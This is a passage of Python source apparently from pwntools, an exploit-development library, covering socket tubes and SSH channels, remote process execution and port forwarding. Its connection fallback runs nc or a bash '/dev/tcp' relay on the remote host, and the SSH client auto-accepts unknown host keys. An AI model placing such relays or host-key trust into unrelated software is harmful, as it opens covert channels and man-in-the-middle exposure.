if not self.sock:\n            return False\n\n        # If we have noticed a connection close in a given direction before,\n        # return fast.\n        if self.closed.get(direction, False):\n            return False\n\n        # If a connection is closed in all manners, return fast\n        if all(self.closed.values()):\n            return False\n\n        # Use poll() to determine the connection state\n        want = {\n            'recv': select.POLLIN,\n            'send': select.POLLOUT,\n            'any':  select.POLLIN | select.POLLOUT,\n        }[direction]\n\n        poll = select.poll()\n        poll.register(self, want | select.POLLHUP | select.POLLERR)\n\n        for fd, event in poll.poll(0):\n            if event & select.POLLHUP:\n                self.close()\n                return False\n            if event & select.POLLIN:\n                return True\n            if event & select.POLLOUT:\n                return True\n\n        return True\n\n    def close(self):\n        sock = getattr(self, 'sock', None)\n        if not sock:\n            return\n\n        # Mark as closed in both directions\n        self.closed['send'] = True\n        self.closed['recv'] = True\n\n        sock.close()\n        self.sock = None\n        self._close_msg()\n\n    def _close_msg(self):\n        self.info('Closed connection to %s port %s', self.rhost, self.rport)\n\n    def fileno(self):\n        if not self.sock:\n            self.error(\"A closed socket does not have a file number\")\n\n        return self.sock.fileno()\n\n    def shutdown_raw(self, direction):\n        if self.closed[direction]:\n            return\n\n        self.closed[direction] = True\n\n        if direction == \"send\":\n            try:\n                self.sock.shutdown(socket.SHUT_WR)\n            except IOError as e:\n                if e.errno == errno.ENOTCONN:\n                    pass\n                else:\n                    raise\n\n        if direction == \"recv\":\n            try:\n                self.sock.shutdown(socket.SHUT_RD)\n            except IOError as e:\n                if e.errno == errno.ENOTCONN:\n                    pass\n                else:\n                    raise\n\n        if False not in self.closed.values():\n            self.close()\n\n    @classmethod\n    def _get_family(cls, fam):\n        if isinstance(fam, int):\n            pass\n        elif fam == 'any':\n            fam = socket.AF_UNSPEC\n        elif fam.lower() in ['ipv4', 'ip4', 'v4', '4']:\n            fam = socket.AF_INET\n        elif fam.lower() in ['ipv6', 'ip6', 'v6', '6']:\n            fam = socket.AF_INET6\n        else:\n            self.error(\"%s(): socket family %r is not supported\",\n                       cls.__name__,\n                       fam)\n\n        return fam\n\n    @classmethod\n    def _get_type(cls, typ):\n        if isinstance(typ, int):\n            pass\n        elif typ == \"tcp\":\n            typ = socket.SOCK_STREAM\n        elif typ == \"udp\":\n            typ = socket.SOCK_DGRAM\n        else:\n            self.error(\"%s(): socket type %r is not supported\",\n                       cls.__name__,\n                       typ)\n\n        return typ\n"
  },
  {
    "path": "pwnlib/tubes/ssh.py",
    "content": "import logging\nimport os\nimport re\nimport shutil\nimport string\nimport sys\nimport tarfile\nimport tempfile\nimport threading\nimport time\n\nfrom pwnlib import term\nfrom pwnlib.context import context, LocalContext\nfrom pwnlib.exception import PwnlibException\nfrom pwnlib.log import Logger\nfrom pwnlib.log import getLogger\nfrom pwnlib.term import text\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.tubes.sock import sock\nfrom pwnlib.util import hashes\nfrom pwnlib.util import misc\nfrom pwnlib.util import packing\nfrom pwnlib.util import safeeval\nfrom pwnlib.util.sh_string import sh_string\n\n# Kill the warning line:\n# No handlers could be found for logger \"paramiko.transport\"\nparamiko_log = logging.getLogger(\"paramiko.transport\")\nh = logging.StreamHandler(open(os.devnull,'w+'))\nh.setFormatter(logging.Formatter())\nparamiko_log.addHandler(h)\n\nclass ssh_channel(sock):\n\n    #: Parent :class:`ssh` object\n    parent = None\n\n    #: Remote host\n    host = None\n\n    #: Return code, or :const:`None` if the process has not returned\n    #: Use :meth:`poll` to check.\n    returncode = None\n\n    #: :const:`True` if a tty was allocated for this channel\n    tty = False\n\n    #: Environment specified for the remote process, or :const:`None`\n    #: if the default environment was used\n    env = None\n\n    #: Command specified for the constructor\n    process = None\n\n    def __init__(self, parent, process = None, tty = False, cwd = None, env = None, raw = True, *args, **kwargs):\n        super(ssh_channel, self).__init__(*args, **kwargs)\n\n        # keep the parent from being garbage collected in some cases\n        self.parent = parent\n\n        self.returncode = None\n        self.host = parent.host\n        self.tty  = tty\n        self.env  = env\n        self.process = process\n        self.cwd  = cwd or '.'\n        if isinstance(cwd, str):\n            cwd = packing._need_bytes(cwd, 2, 0x80)\n\n        env = env or {}\n        msg = 'Opening new channel: %r' % (process or 'shell')\n\n        if isinstance(process, (list, tuple)):\n            process = b' '.join(sh_string(packing._need_bytes(s, 2, 0x80)) for s in process)\n        if isinstance(process, str):\n            process = packing._need_bytes(process, 2, 0x80)\n\n        if process and cwd:\n            process = b'cd ' + sh_string(cwd) + b' >/dev/null 2>&1; ' + process\n\n        if process and env:\n            for name, value in env.items():\n                nameb = packing._need_bytes(name, 2, 0x80)\n                if not re.match(b'^[a-zA-Z_][a-zA-Z0-9_]*$', nameb):\n                    self.error('run(): Invalid environment key %r' % name)\n                export = b'export %s=%s;' % (nameb, sh_string(packing._need_bytes(value, 2, 0x80)))\n                process = export + process\n\n        if process and tty:\n            if raw:\n                process = b'stty raw -ctlecho -echo; ' + process\n            else:\n                process = b'stty -ctlecho -echo; ' + process\n\n\n        # If this object is enabled for DEBUG-level logging, don't hide\n        # anything about the command that's actually executed.\n        if process and self.isEnabledFor(logging.DEBUG):\n            msg = 'Opening new channel: %r' % ((process,) or 'shell')\n\n        with self.waitfor(msg) as h:\n            import paramiko\n            try:\n                self.sock = parent.transport.open_session()\n            except paramiko.ChannelException as e:\n                if e.args == (1, 'Administratively prohibited'):\n                    self.error(\"Too many sessions open! Use ssh_channel.close() or 'with'!\")\n                raise e\n\n            if self.tty:\n                self.sock.get_pty('xterm', term.width, term.height)\n\n                def resizer():\n                    if self.sock:\n                        try:\n                            self.sock.resize_pty(term.width, term.height)\n                        except paramiko.ssh_exception.SSHException:\n                            pass\n\n                self.resizer = resizer\n                term.term.on_winch.append(self.resizer)  # XXX memory leak\n            else:\n                self.resizer = None\n\n            # Put stderr on stdout. This might not always be desirable,\n            # but our API does not support multiple streams\n            self.sock.set_combine_stderr(True)\n\n            self.settimeout(self.timeout)\n\n            if process:\n                self.sock.exec_command(process)\n            else:\n                self.sock.invoke_shell()\n\n            h.success()\n\n    def kill(self):\n        \"\"\"kill()\n\n        Kills the process.\n        \"\"\"\n\n        self.close()\n\n    def recvall(self, timeout = sock.forever):\n        # We subclass tubes.sock which sets self.sock to None.\n        #\n        # However, we need to wait for the return value to propagate,\n        # which may not happen by the time .close() is called by tube.recvall()\n        tmp_sock = self.sock\n        tmp_close = self.close\n        self.close = lambda: None\n\n        timeout = self.maximum if self.timeout is self.forever else self.timeout\n        data = super(ssh_channel, self).recvall(timeout)\n\n        # Restore self.sock to be able to call wait()\n        self.close = tmp_close\n        self.sock = tmp_sock\n        self.wait()\n        self.close()\n\n        # Again set self.sock to None\n        self.sock = None\n\n        return data\n\n    def wait(self, timeout=sock.default):\n        # TODO: deal with timeouts\n        return self.poll(block=True)\n\n    def poll(self, block=False):\n        \"\"\"poll() -> int\n\n        Poll the exit code of the process. Will return None, if the\n        process has not yet finished and the exit code otherwise.\n        \"\"\"\n\n        if self.returncode is None and self.sock \\\n        and (block or self.sock.exit_status_ready()):\n            while not self.sock.status_event.is_set():\n                self.sock.status_event.wait(0.05)\n            self.returncode = self.sock.recv_exit_status()\n\n        return self.returncode\n\n    def can_recv_raw(self, timeout):\n        with self.countdown(timeout):\n            while self.countdown_active():\n                if self.sock.recv_ready():\n                    return True\n                time.sleep(min(self.timeout, 0.05))\n        return False\n\n    def interactive(self, prompt = term.text.bold_red('$') + ' '):\n        \"\"\"interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')\n\n        If not in TTY-mode, this does exactly the same as\n        meth:`pwnlib.tubes.tube.tube.interactive`, otherwise\n        it does mostly the same.\n\n        An SSH connection in TTY-mode will typically supply its own prompt,\n        thus the prompt argument is ignored in this case.\n        We also have a few SSH-specific hacks that will ideally be removed\n        once the :mod:`pwnlib.term` is more mature.\n        \"\"\"\n\n        # If we are only executing a regular old shell, we need to handle\n        # control codes (specifically Ctrl+C).\n        #\n        # Otherwise, we can just punt to the default implementation of interactive()\n        if self.process is not None:\n            return super(ssh_channel, self).interactive(prompt)\n\n        self.info('Switching to interactive mode')\n\n        # We would like a cursor, please!\n        term.term.show_cursor()\n\n        event = threading.Event()\n        def recv_thread(event):\n            while not event.is_set():\n                try:\n                    cur = self.recv(timeout = 0.05)\n                    cur = cur.replace(b'\\r\\n',b'\\n')\n                    cur = cur.replace(b'\\r',b'')\n                    if cur is None:\n                        continue\n                    elif cur == b'\\a':\n                        # Ugly hack until term unstands bell characters\n                        continue\n                    stdout = sys.stdout\n                    if not term.term_mode:\n                        stdout = getattr(stdout, 'buffer', stdout)\n                    stdout.write(cur)\n                    stdout.flush()\n                except EOFError:\n                    self.info('Got EOF while reading in interactive')\n                    event.set()\n                    break\n\n        t = context.Thread(target = recv_thread, args = (event,))\n        t.daemon = True\n        t.start()\n\n        while not event.is_set():\n            if term.term_mode:\n                try:\n                    data = term.key.getraw(0.1)\n                except KeyboardInterrupt:\n                    data = [3] # This is ctrl-c\n                except IOError:\n                    if not event.is_set():\n                        raise\n            else:\n                stdin = getattr(sys.stdin, 'buffer', sys.stdin)\n                data = stdin.read(1)\n                if not data:\n                    event.set()\n                else:\n                    data = bytearray(data)\n\n            if data:\n                try:\n                    self.send(bytes(bytearray(data)))\n                except EOFError:\n                    event.set()\n                    self.info('Got EOF while sending in interactive')\n\n        while t.is_alive():\n            t.join(timeout = 0.1)\n\n        # Restore\n        term.term.hide_cursor()\n\n    def close(self):\n        self.poll()\n        while self.resizer in term.term.on_winch:\n            term.term.on_winch.remove(self.resizer)\n        super(ssh_channel, self).close()\n\n    def spawn_process(self, *args, **kwargs):\n        self.error(\"Cannot use spawn_process on an SSH channel.\"\"\")\n\n    def _close_msg(self):\n        self.info('Closed SSH channel with %s' % self.host)\n\nclass ssh_process(ssh_channel):\n    #: Working directory\n    cwd = None\n\n    #: PID of the process\n    #: Only valid when instantiated through :meth:`ssh.process`\n    pid = None\n\n    #: Executable of the procesks\n    #: Only valid when instantiated through :meth:`ssh.process`\n    executable = None\n\n    #: Arguments passed to the process\n    #: Only valid when instantiated through :meth:`ssh.process`\n    argv = None\n\n    def libs(self):\n        \"\"\"libs() -> dict\n\n        Returns a dictionary mapping the address of each loaded library in the\n        process's address space.\n\n        If ``/proc/$PID/maps`` cannot be opened, the output of ldd is used\n        verbatim, which may be different than the actual addresses if ASLR\n        is enabled.\n        \"\"\"\n        maps = self.parent.libs(self.executable)\n\n        maps_raw = self.parent.cat('/proc/%d/maps' % self.pid).decode()\n\n        for lib in maps:\n            remote_path = lib.split(self.parent.host)[-1]\n            remote_path = self.parent.readlink('-f', remote_path).decode()\n            for line in maps_raw.splitlines():\n                if line.endswith(remote_path):\n                    address = line.split('-')[0]\n                    maps[lib] = int(address, 16)\n                    break\n        return maps\n\n\n    @property\n    def libc(self):\n        \"\"\"libc() -> ELF\n\n        Returns an ELF for the libc for the current process.\n        If possible, it is adjusted to the correct address\n        automatically.\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> p = s.process('true')\n            >>> p.libc  # doctest: +ELLIPSIS\n            ELF(.../libc.so.6')\n        \"\"\"\n        from pwnlib.elf import ELF\n\n        for lib, address in self.libs().items():\n            if 'libc.so' in lib:\n                e = ELF(lib)\n                e.address = address\n                return e\n\n    @property\n    def elf(self):\n        \"\"\"elf() -> pwnlib.elf.elf.ELF\n\n        Returns an ELF file for the executable that launched the process.\n        \"\"\"\n        import pwnlib.elf.elf\n\n        libs = self.parent.libs(self.executable)\n\n        for lib in libs:\n            # Cannot just check \"executable in lib\", see issue #1047\n            if lib.endswith(self.executable):\n                return pwnlib.elf.elf.ELF(lib)\n\n\n    @property\n    def corefile(self):\n        import pwnlib.elf.corefile\n\n        finder = pwnlib.elf.corefile.CorefileFinder(self)\n        if not finder.core_path:\n            self.error(\"Could not find core file for pid %i\" % self.pid)\n\n        return pwnlib.elf.corefile.Corefile(finder.core_path)\n\n    def getenv(self, variable, **kwargs):\n        r\"\"\"Retrieve the address of an environment variable in the remote process.\n\n        Examples:\n\n            >>> s = ssh(host='example.pwnme')\n            >>> p = s.process(['python', '-c', 'import time; time.sleep(10)'])\n            >>> hex(p.getenv('PATH'))  # doctest: +ELLIPSIS\n            '0x...'\n        \"\"\"\n        argv0 = self.argv[0]\n\n        variable = bytearray(packing._need_bytes(variable, min_wrong=0x80))\n\n        script = ';'.join(('from ctypes import *',\n                           'import os',\n                           'libc = CDLL(\"libc.so.6\")',\n                           'getenv = libc.getenv',\n                           'getenv.restype = c_void_p',\n                           'print(os.path.realpath(%r))' % self.executable,\n                           'print(getenv(bytes(%r)))' % variable,))\n\n        try:\n            with context.quiet:\n                python = self.parent.which('python2.7') or self.parent.which('python3') or self.parent.which('python')\n\n                if not python:\n                    self.error(\"Python is not installed on the remote system.\")\n\n                io = self.parent.process([argv0,'-c', script.strip()],\n                                          executable=python,\n                                          env=self.env,\n                                          **kwargs)\n                path = io.recvline()\n                address = int(io.recvall())\n\n                address -= len(python)\n                address += len(path)\n\n                return int(address) & context.mask\n        except Exception:\n            self.exception(\"Could not look up environment variable %r\" % variable)\n\n    def _close_msg(self):\n        # If we never completely started up, just use the parent implementation\n        if self.executable is None:\n            return super(ssh_process, self)._close_msg()\n\n        self.info('Stopped remote process %r on %s (pid %i)' \\\n            % (os.path.basename(self.executable),\n               self.host,\n               self.pid))\n\n\nclass ssh_connecter(sock):\n    def __init__(self, parent, host, port, *a, **kw):\n        super(ssh_connecter, self).__init__(*a, **kw)\n\n        # keep the parent from being garbage collected in some cases\n        self.parent = parent\n\n        # keep reference to tunnel process to avoid garbage collection\n        self.tunnel = None\n\n        self.host  = parent.host\n        self.rhost = host\n        self.rport = port\n\n        import paramiko.ssh_exception\n        msg = 'Connecting to %s:%d via SSH to %s' % (self.rhost, self.rport, self.host)\n        with self.waitfor(msg) as h:\n            try:\n                self.sock = parent.transport.open_channel('direct-tcpip', (host, port), ('127.0.0.1', 0))\n            except paramiko.ssh_exception.ChannelException as e:\n                # Workaround AllowTcpForwarding no in sshd_config\n                if e.args != (1, 'Administratively prohibited'):\n                    self.exception(str(e))\n                    raise e\n                \n                self.debug('Failed to open channel, trying to connect to remote port manually using netcat or bash.')\n                ncats = ['nc', 'ncat', 'netcat']\n                cmd = []\n                for ncat in ncats:\n                    if parent.which(ncat):\n                        cmd = [ncat, host, str(port)]\n                        break\n                else:\n                    if parent.which('bash'):\n                        cmd = ['bash', '-c', 'exec 3<>/dev/tcp/{}/{}; cat <&3 & cat >&3; kill $!'.format(host, port)]\n                    else:\n                        self.exception('Could not find nc, ncat, netcat, or bash on remote. Cannot connect to remote port.')\n                        raise\n                self.tunnel = parent.process(cmd)\n                self.sock = self.tunnel.sock\n            except Exception as e:\n                self.exception(str(e))\n                raise\n\n            try:\n                # Iterate all layers of proxying to get to base-level Socket object\n                curr = self.sock.get_transport().sock\n                while getattr(curr, \"get_transport\", None):\n                    curr = curr.get_transport().sock\n\n                sockname = curr.getsockname()\n                self.lhost = sockname[0]\n                self.lport = sockname[1]\n            except Exception as e:\n                self.exception(\"Could not find base-level Socket object.\")\n                raise e\n\n            h.success()\n\n    def spawn_process(self, *args, **kwargs):\n        self.error(\"Cannot use spawn_process on an SSH channel.\"\"\")\n\n    def _close_msg(self):\n        self.info(\"Closed remote connection to %s:%d via SSH connection to %s\" % (self.rhost, self.rport, self.host))\n\n\nclass ssh_listener(sock):\n    def __init__(self, parent, bind_address, port, *a, **kw):\n        super(ssh_listener, self).__init__(*a, **kw)\n\n        # keep the parent from being garbage collected in some cases\n        self.parent = parent\n\n        self.host = parent.host\n\n        try:\n            self.port = parent.transport.request_port_forward(bind_address, port)\n\n        except Exception:\n            h.failure('Failed create a port forwarding')\n            raise\n\n        def accepter():\n            msg = 'Waiting on port %d via SSH to %s' % (self.port, self.host)\n            h   = self.waitfor(msg)\n            try:\n                self.sock = parent.transport.accept()\n                parent.transport.cancel_port_forward(bind_address, self.port)\n            except Exception:\n                self.sock = None\n                h.failure()\n                self.exception('Failed to get a connection')\n                return\n\n            self.rhost, self.rport = self.sock.origin_addr\n            h.success('Got connection from %s:%d' % (self.rhost, self.rport))\n\n        self._accepter = context.Thread(target = accepter)\n        self._accepter.daemon = True\n        self._accepter.start()\n\n    def _close_msg(self):\n        self.info(\"Closed remote connection to %s:%d via SSH listener on port %d via %s\" % (self.rhost, self.rport, self.port, self.host))\n\n    def spawn_process(self, *args, **kwargs):\n        self.error(\"Cannot use spawn_process on an SSH channel.\"\"\")\n\n    def wait_for_connection(self):\n        \"\"\"Blocks until a connection has been established.\"\"\"\n        _ = self.sock\n        return self\n\n    @property\n    def sock(self):\n        try:\n            return self.__dict__['sock']\n        except KeyError:\n            pass\n        while self._accepter.is_alive():\n            self._accepter.join(timeout=0.1)\n        return self.__dict__.get('sock')\n\n    @sock.setter\n    def sock(self, s):\n        self.__dict__['sock'] = s\n\n\nclass ssh(Timeout, Logger):\n\n    #: Remote host name (``str``)\n    host = None\n\n    #: Remote port (``int``)\n    port = None\n\n    #: Remote username (``str``)\n    user = None\n\n    #: Remote password (``str``)\n    password = None\n\n    #: Remote private key (``str``)\n    key = None\n\n    #: Remote private key file (``str``)\n    keyfile = None\n\n    #: Enable caching of SSH downloads (``bool``)\n    cache = True\n\n    #: Enable raw mode and don't probe the environment (``bool``)\n    raw = False\n\n    #: Paramiko SSHClient which backs this object\n    client = None\n\n    #: PID of the remote ``sshd`` process servicing this connection.\n    pid = None\n\n    _cwd = '.'\n    _tried_sftp = False\n\n    def __init__(self, user=None, host=None, port=22, password=None, key=None,\n                 keyfile=None, proxy_command=None, proxy_sock=None, level=None,\n                 cache=True, ssh_agent=False, ignore_config=False, raw=False, \n                 auth_none=False, disabled_algorithms=None, *a, **kw):\n        \"\"\"Creates a new ssh connection.\n\n        Arguments:\n            user(str): The username to log in with\n            host(str): The hostname to connect to\n            port(int): The port to connect to\n            password(str): Try to authenticate using this password\n            key(str): Try to authenticate using this private key. The string should be the actual private key.\n            keyfile(str): Try to authenticate using this private key. The string should be a filename.\n            proxy_command(str): Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).\n            proxy_sock(str): Use this socket instead of connecting to the host.\n            timeout: Timeout, in seconds\n            level: Log level\n            cache(bool): Cache downloaded files (by hash/size/timestamp)\n            ssh_agent(bool): If :const:`True`, enable usage of keys via ssh-agent\n            ignore_config(bool): If :const:`True`, disable usage of ~/.ssh/config and ~/.ssh/authorized_keys\n            raw(bool): If :const:`True`, assume a non-standard shell and don't probe the environment\n            auth_none(bool): If :const:`True`, try to authenticate with no authentication methods\n            disabled_algorithms(dict):\n                Mapping of algorithm type and list of algorithm identifiers to disable.\n                See :class:`paramiko.transport.Transport` for more information.\n\n        NOTE: The proxy_command and proxy_sock arguments is only available if a\n        fairly new version of paramiko is used.\n\n        Example proxying:\n\n        .. doctest::\n           :skipif: True\n\n            >>> s1 = ssh(host='example.pwnme')\n            >>> r1 = s1.remote('localhost', 22)\n            >>> s2 = ssh(host='example.pwnme', proxy_sock=r1.sock)\n            >>> r2 = s2.remote('localhost', 22) # and so on...\n            >>> for x in r2, s2, r1, s1: x.close()\n        \"\"\"\n        super(ssh, self).__init__(*a, **kw)\n\n        Logger.__init__(self)\n        if level is not None:\n            self.setLevel(level)\n\n\n        self.host            = host\n        self.port            = port\n        self.user            = user\n        self.password        = password\n        self.key             = key\n        self.keyfile         = keyfile\n        self._cachedir       = os.path.join(tempfile.gettempdir(), 'pwntools-ssh-cache')\n        self.cache           = cache\n        self.raw             = raw\n\n        # Deferred attributes\n        self._platform_info = {}\n        self._aslr = None\n        self._aslr_ulimit = None\n        self._cpuinfo_cache = None\n        self._user_shstk = None\n        self._ibt = None\n\n        misc.mkdir_p(self._cachedir)\n\n        import paramiko\n\n        # Make a basic attempt to parse the ssh_config file\n        try:\n            config_file = os.path.expanduser('~/.ssh/config')\n\n            if not ignore_config and os.path.exists(config_file):\n                ssh_config  = paramiko.SSHConfig()\n                ssh_config.parse(open(config_file))\n                host_config = ssh_config.lookup(host)\n                if 'hostname' in host_config:\n                    self.host = host = host_config['hostname']\n                if not user and 'user' in host_config:\n                    self.user = user = host_config['user']\n                if not keyfile and 'identityfile' in host_config:\n                    keyfile = host_config['identityfile'][0]\n                    if keyfile.lower() == 'none':\n                        keyfile = None\n        except Exception as e:\n            self.debug(\"An error occurred while parsing ~/.ssh/config:\\n%s\" % e)\n\n        keyfiles = [os.path.expanduser(keyfile)] if keyfile else []\n\n        msg = 'Connecting to %s on port %d' % (host, port)\n        with self.waitfor(msg) as h:\n            self.client = paramiko.SSHClient()\n            self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n            if not ignore_config:\n                known_hosts = os.path.expanduser('~/.ssh/known_hosts')\n                if os.path.exists(known_hosts):\n                    self.client.load_host_keys(known_hosts)\n\n            has_proxy = bool(proxy_sock or proxy_command)\n            if has_proxy:\n                if 'ProxyCommand' not in dir(paramiko):\n                    self.error('This version of paramiko does not support proxies.')\n\n                if proxy_sock and proxy_command:\n                    self.error('Cannot have both a proxy command and a proxy sock')\n\n                if proxy_command:\n                    proxy_sock = paramiko.ProxyCommand(proxy_command)\n            else:\n                proxy_sock = None\n\n            try:\n                self.client.connect(host, port, user, password, key, keyfiles, self.timeout, allow_agent=ssh_agent, compress=True, sock=proxy_sock, look_for_keys=not ignore_config, disabled_algorithms=disabled_algorithms)\n            except paramiko.BadHostKeyException as e:\n                self.error(\"Remote host %(host)s is using a different key than stated in known_hosts\\n\"\n                           \"    To remove the existing entry from your known_hosts and trust the new key, run the following commands:\\n\"\n                           \"        $ ssh-keygen -R %(host)s\\n\"\n                           \"        $ ssh-keygen -R [%(host)s]:%(port)s\" % locals())\n            except paramiko.SSHException as e:\n                if user and auth_none and str(e) == \"No authentication methods available\":\n                    self.client.get_transport().auth_none(user)\n                else:\n                    raise\n\n            self.transport = self.client.get_transport()\n            self.transport.use_compression(True)\n\n            h.success()\n\n        if self.raw:\n            return\n\n        self._tried_sftp = False\n\n        if self.sftp:\n            with context.quiet:\n                self.cwd = packing._decode(self.pwd(tty=False))\n        else:\n            self.cwd = '.'\n\n        with context.local(log_level='error'):\n            def getppid():\n                print(os.getppid())\n            try:\n                self.pid = int(self.process('false', preexec_fn=getppid).recvall())\n            except Exception:\n                self.pid = None\n\n        try:\n            self.info_once(self.checksec())\n        except Exception:\n            self.warn_once(\"Couldn't check security settings on %r\" % self.host)\n\n    def __repr__(self):\n        return \"{}(user={!r}, host={!r})\".format(self.__class__.__name__, self.user, self.host)\n\n    @property\n    def cwd(self):\n        return self._cwd\n\n    @cwd.setter\n    def cwd(self, cwd):\n        self._cwd = cwd\n        if self.sftp:\n            self.sftp.chdir(cwd)\n\n    @property\n    def sftp(self):\n        \"\"\"Paramiko SFTPClient object which is used for file transfers.\n        Set to :const:`None` to disable ``sftp``.\n        \"\"\"\n        if not self._tried_sftp:\n            try:\n                self._sftp = self.transport.open_sftp_client()\n            except Exception:\n                self._sftp = None\n\n        self._tried_sftp = True\n        return self._sftp\n\n    @sftp.setter\n    def sftp(self, value):\n        self._sftp = value\n        self._tried_sftp = True\n\n    def __enter__(self, *a):\n        return self\n\n    def __exit__(self, *a, **kw):\n        self.close()\n\n    def shell(self, shell = None, tty = True, timeout = Timeout.default):\n        \"\"\"shell(shell = None, tty = True, timeout = Timeout.default) -> ssh_channel\n\n        Open a new channel with a shell inside.\n\n        Arguments:\n            shell(str): Path to the shell program to run.\n                If :const:`None`, uses the default shell for the logged in user.\n            tty(bool): If :const:`True`, then a TTY is requested on the remote server.\n\n        Returns:\n            Return a :class:`pwnlib.tubes.ssh.ssh_channel` object.\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> sh = s.shell('/bin/sh')\n            >>> sh.sendline(b'echo Hello; exit')\n            >>> print(b'Hello' in sh.recvall())\n            True\n        \"\"\"\n        return self.run(shell, tty, timeout = timeout)\n\n    def process(self, argv=None, executable=None, tty=True, cwd=None, env=None, ignore_environ=None, timeout=Timeout.default, run=True,\n                stdin=0, stdout=1, stderr=2, preexec_fn=None, preexec_args=(), raw=True, aslr=None, setuid=None,\n                shell=False):\n        r\"\"\"\n        Executes a process on the remote server, in the same fashion\n        as pwnlib.tubes.process.process.\n\n        To achieve this, a Python script is created to call ``os.execve``\n        with the appropriate arguments.\n\n        As an added bonus, the ``ssh_channel`` object returned has a\n        ``pid`` property for the process pid.\n\n        Arguments:\n            argv(list):\n                List of arguments to pass into the process\n            executable(str):\n                Path to the executable to run.\n                If :const:`None`, ``argv[0]`` is used.\n            tty(bool):\n                Request a `tty` from the server.  This usually fixes buffering problems\n                by causing `libc` to write data immediately rather than buffering it.\n                However, this disables interpretation of control codes (e.g. Ctrl+C)\n                and breaks `.shutdown`.\n            cwd(str):\n                Working directory.  If :const:`None`, uses the working directory specified\n                on :attr:`cwd` or set via :meth:`set_working_directory`.\n            env(dict):\n                Environment variables to add to the environment.\n            ignore_environ(bool):\n                Ignore default environment.  By default use default environment iff env not specified.\n            timeout(int):\n                Timeout to set on the `tube` created to interact with the process.\n            run(bool):\n                Set to :const:`True` to run the program (default).\n                If :const:`False`, returns the path to an executable Python script on the\n                remote server which, when executed, will do it.\n            stdin(int, str):\n                If an integer, replace stdin with the numbered file descriptor.\n                If a string, a open a file with the specified path and replace\n                stdin with its file descriptor.  May also be one of ``sys.stdin``,\n                ``sys.stdout``, ``sys.stderr``.  If :const:`None`, the file descriptor is closed.\n            stdout(int, str):\n                See ``stdin``.\n            stderr(int, str):\n                See ``stdin``.\n            preexec_fn(callable):\n                Function which is executed on the remote side before execve().\n                This **MUST** be a self-contained function -- it must perform\n                all of its own imports, and cannot refer to variables outside\n                its scope.\n            preexec_args(object):\n                Argument passed to ``preexec_fn``.\n                This **MUST** only consist of native Python objects.\n            raw(bool):\n                If :const:`True`, disable TTY control code interpretation.\n            aslr(bool):\n                See :class:`pwnlib.tubes.process.process` for more information.\n            setuid(bool):\n                See :class:`pwnlib.tubes.process.process` for more information.\n            shell(bool):\n                Pass the command-line arguments to the shell.\n\n        Returns:\n            A new SSH channel, or a path to a script if ``run=False``.\n\n        Notes:\n            Requires Python on the remote server.\n\n        Examples:\n\n            >>> s = ssh(host='example.pwnme')\n            >>> sh = s.process('/bin/sh', env={'PS1':''})\n            >>> sh.sendline(b'echo Hello; exit')\n            >>> sh.recvall()\n            b'Hello\\n'\n            >>> s.process(['/bin/echo', b'\\xff']).recvall()\n            b'\\xff\\n'\n            >>> s.process(['readlink', '/proc/self/exe']).recvall() # doctest: +ELLIPSIS\n            b'.../bin/readlink\\n'\n            >>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall() # doctest: +ELLIPSIS\n            b'.../bin/readlink\\n'\n            >>> s.process(['LOLOLOL\\x00', '/proc/self/cmdline'], executable='cat').recvall()\n            b'LOLOLOL\\x00/proc/self/cmdline\\x00'\n            >>> sh = s.process(executable='/bin/sh')\n            >>> str(sh.pid).encode() in s.pidof('sh') # doctest: +SKIP\n            True\n            >>> io = s.process(['pwd'], cwd='/tmp')\n            >>> io.recvall()\n            b'/tmp\\n'\n            >>> io.cwd\n            '/tmp'\n            >>> p = s.process(['python','-c','import os; os.write(1, os.read(2, 1024))'], stderr=0)\n            >>> p.send(b'hello')\n            >>> p.recv()\n            b'hello'\n            >>> s.process(['/bin/echo', 'hello']).recvall()\n            b'hello\\n'\n            >>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()\n            b''\n            >>> s.process(['/usr/bin/env'], env={}).recvall()\n            b''\n            >>> s.process('/usr/bin/env', env={'A':'B'}).recvall()\n            b'A=B\\n'\n\n            >>> s.process('false', preexec_fn=1234)\n            Traceback (most recent call last):\n            ...\n            PwnlibException: preexec_fn must be a function\n\n            >>> s.process('false', preexec_fn=lambda: 1234)\n            Traceback (most recent call last):\n            ...\n            PwnlibException: preexec_fn cannot be a lambda\n\n            >>> def uses_globals():\n            ...     foo = bar\n            >>> print(s.process('false', preexec_fn=uses_globals).recvall().strip().decode()) # doctest: +ELLIPSIS\n            Traceback (most recent call last):\n            ...\n            NameError: ...name 'bar' is not defined\n\n            >>> s.process('echo hello', shell=True).recvall()\n            b'hello\\n'\n\n            >>> io = s.process(['cat'], timeout=5)\n            >>> io.recvline()\n            b''\n\n            >>> io = s.process(['tty'], tty=True)\n            >>> io.recvline() # doctest: +ELLIPSIS\n            b'/dev/pts/...\\n'\n            >>> io = s.process(['tty'], tty=False)\n            >>> io.recvline()\n            b'not a tty\\n'\n\n            >>> # Testing that empty argv works\n            >>> io = s.process([], executable='sh')\n            >>> io.sendline(b'echo $0')\n            >>> io.recvline()\n            b'$ \\n'\n            >>> # Make sure that we have a shell\n            >>> io.sendline(b'echo hello')\n            >>> io.recvline()\n            b'$ hello\\n'\n\n            >>> # Testing that empty argv[0] works\n            >>> io = s.process([''], executable='sh')\n            >>> io.sendline(b'echo $0')\n            >>> io.recvline()\n            b'$ \\n'\n\n        \"\"\"\n        cwd = cwd or self.cwd\n        script = misc._create_execve_script(argv=argv, executable=executable,\n                cwd=cwd, env=env, stdin=stdin, stdout=stdout, stderr=stderr,\n                ignore_environ=ignore_environ, preexec_fn=preexec_fn, preexec_args=preexec_args,\n                aslr=aslr, setuid=setuid, shell=shell, log=self)\n\n\n        self.debug(\"Created execve script:\\n\" + script)\n\n        if not run:\n            with context.local(log_level='error'):\n                tmpfile = self.mktemp('-t', 'pwnlib-execve-XXXXXXXXXX')\n                self.chmod('+x', tmpfile)\n\n            self.info(\"Uploading execve script to %r\" % tmpfile)\n            script = packing._encode(script)\n            self.upload_data(script, tmpfile)\n            return tmpfile\n\n        executable = executable or argv[0]\n        if self.isEnabledFor(logging.DEBUG):\n            execve_repr = 